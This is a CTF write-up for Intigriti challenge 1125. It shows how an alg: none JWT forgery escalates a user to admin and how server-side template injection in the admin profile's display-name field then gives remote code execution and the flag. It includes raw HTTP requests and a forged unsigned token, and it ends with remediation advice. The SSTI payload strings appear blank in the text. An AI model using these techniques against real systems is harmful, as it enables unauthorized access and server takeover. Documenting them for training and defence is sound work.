Write-up: Intigriti 1125
Hi, folks!
It’s my first report at the Intigriti platform and my first time participating on Intigriti CTF. This writeup shows how an unsanitized field and an implementation failure in a JWT token can lead to an RCE.
The journey
I started my recon looking all the application endpoints and headers, looking for entry points or something that pay my attention. I noticed that the application was a Server-Side Rendering (SSR) and started to look for injection points, like Shop Categories parameters, but it’s not reflected and there was filtered my payloads.
So, I was noticed the admin routes and started to look for the session and token Cookies. I spent a LOT of time on this, trying to broke the JWT token and Session secrets, but for my sadness, it is unsuccessful.
Later, I tried the alg: none attack at JWT and the things started to clarify in my mind. I spent a lot of time (again) trying to manipulate the products, orders and users at admin routes. And much hours (than I like to admit) trying to pop a RCE at username and role fields at /dashboard page.
The lights comes when I changed display name on /admin/profile page and tried to inject the good and old `` SSTI payload. Then, boom! Next steps is how I explored and got the Challenge Flag.
Steps to reproduce:
- Create a user and do a Login on application with any user that you created. Your
roleit must beuser. - Try to access
/admin/profileendpoint and you will got aHTTP 302to /login andAdmin access requiredmessage: {466243} - Open Burp or any proxy tool and you will see the
tokenCookie. Send this request to Repeater.1 2 3 4 5 6 7 8
GET /admin/profile HTTP/1.1 Host: challenge-1125.intigriti.io Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMywidXNlcm5hbWUiOiJxdWludGEiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2MzkxNTYyNH0.BHUmikSNFr9P17m9HOxsuJWNvnKCJOY7mTT33ozZf5w; session=eyJjYXJ0IjpbXX0.aSHrqA.dJtLzyuHFhfATZKUykrkFmK8uaM Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Accept-Language: pt-BR,pt;q=0.9 Upgrade-Insecure-Requests: 1
- Get the JWT token and remove the signature for our
alg: noneattack. You can use JWT.io, CyberChef or JWT Editor on Burp.1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMywidXNlcm5hbWUiOiJxdWludGEiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2MzkxNTYyNH0.
- Change the
Content-TypeHeader toapplication/x-www-form-urlencoded. - Don’t forget to change the
roletoadmin. - Change the request method to
POSTand insert your payload ondisplay_nameat form-urlencoded field. Example:- ``
To obtain a flag
- At first, I used
ls -lahcommand to list files. After this, I saw a directory
./.aquacommerceat workdir.- So, the request to obtain the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /admin/profile HTTP/2
Host: challenge-1125.intigriti.io
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMywidXNlcm5hbWUiOiJxdWludGEiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NjM5MTU2MjR9.; session=eyJjYXJ0IjpbXX0.aSHrgw.zoq3ROmf6irozpmpOK6r4Jx48qQ
Content-Length: 87
Cache-Control: max-age=0
Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: pt-BR,pt;q=0.9
Origin: https://challenge-1125.intigriti.io
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://challenge-1125.intigriti.io/admin/profile
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
display_name=
- Response with flag renderized:
1
2
3
4
5
6
7
<!-- Current Display Name -->
<div class="mb-8">
<label class="block text-sm font-semibold text-slate-300 mb-3">Current Display Name</label>
<div class="p-4 bg-slate-700/50 border border-slate-600 rounded-lg">
<p class="text-slate-100 font-medium">INTIGRITI{019a82cf-REDACTED-2d0ef30bea32}</p>
</div>
</div>
We got the Flag!!
Flag:
INTIGRITI{019a82cf-REDACTED-2d0ef30bea32}
What do we learned?
Impact
A Server-Side Template Injection (SSTI) vulnerability in the admin profile page allows an attacker to execute arbitrary commands on the server, leading to full Remote Code Execution (RCE). Impacts, thinking on a real scenario:
- Complete server compromise through Remote Code Execution
- Unauthorized access to sensitive files and data
- Ability to execute arbitrary system commands
- Potential data breach and system takeover
- No user interaction required for exploitation
Recommended remediation solution
- Reject tokens with alg: none
- Implement strict algorithm whitelist (only allow HS256)
1
jwt.decode(token, secret, algorithms=['HS256']) # Explicit algorithm
- Enable auto-escaping in Jinja2 or some template based server.
1
app.jinja_env.autoescape = True
- Sanitize all user input before rendering:
1 2
from markupsafe import escape display_name = escape(user_input)
Conclusion
I had a lot of fun with this challenge. I hope this writeup was “understandable” enough and light to read. See ya in the next chall.
Hugs, Quinta
Useful links:
- Intigriti Challenge 11/25: https://challenge-1125.intigriti.io
- JWT guide by PortSwigger: https://portswigger.net/web-security/jwt

